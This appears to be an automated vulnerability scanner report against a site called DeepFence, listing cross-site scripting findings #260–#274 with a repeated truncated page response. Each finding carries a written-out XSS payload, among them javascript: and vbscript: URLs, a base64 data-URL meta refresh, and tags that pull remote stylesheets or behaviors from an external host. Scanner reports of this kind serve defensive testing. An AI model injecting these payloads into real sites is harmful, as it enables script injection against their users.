>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #260
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <BR SIZE="&{alert('XSS')}">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the responseCWE-ID CWE-79
Issue Number #261
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <LAYER SRC="http://soapui.org/scriptlet.html"></LAYER
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #262
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #263
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <LINK REL="stylesheet" HREF="http://soapui.org/xss.css"
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #264
Cross Site ScriptingScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE>@import'http://soapui.org/xss.css';</STYLE
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #265
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <META HTTP-EQUIV="Link" Content="<http://soapui.org/
xss.css>; REL=stylesheet">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #266
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE>BODY{-moz-binding:url("http://soapui.org/
xssmoz.xml#xss")}</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #267
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# <XSS STYLE="behavior: url(xss.htc);">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #268
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</
STYLE><UL><LI>XSS
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #269
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC='vbscript:msgbox("XSS")'>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #270
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="mocha:[code]">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #271
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG SRC="livescript:[code]">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #272Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #273
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript
:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #274
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;
base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
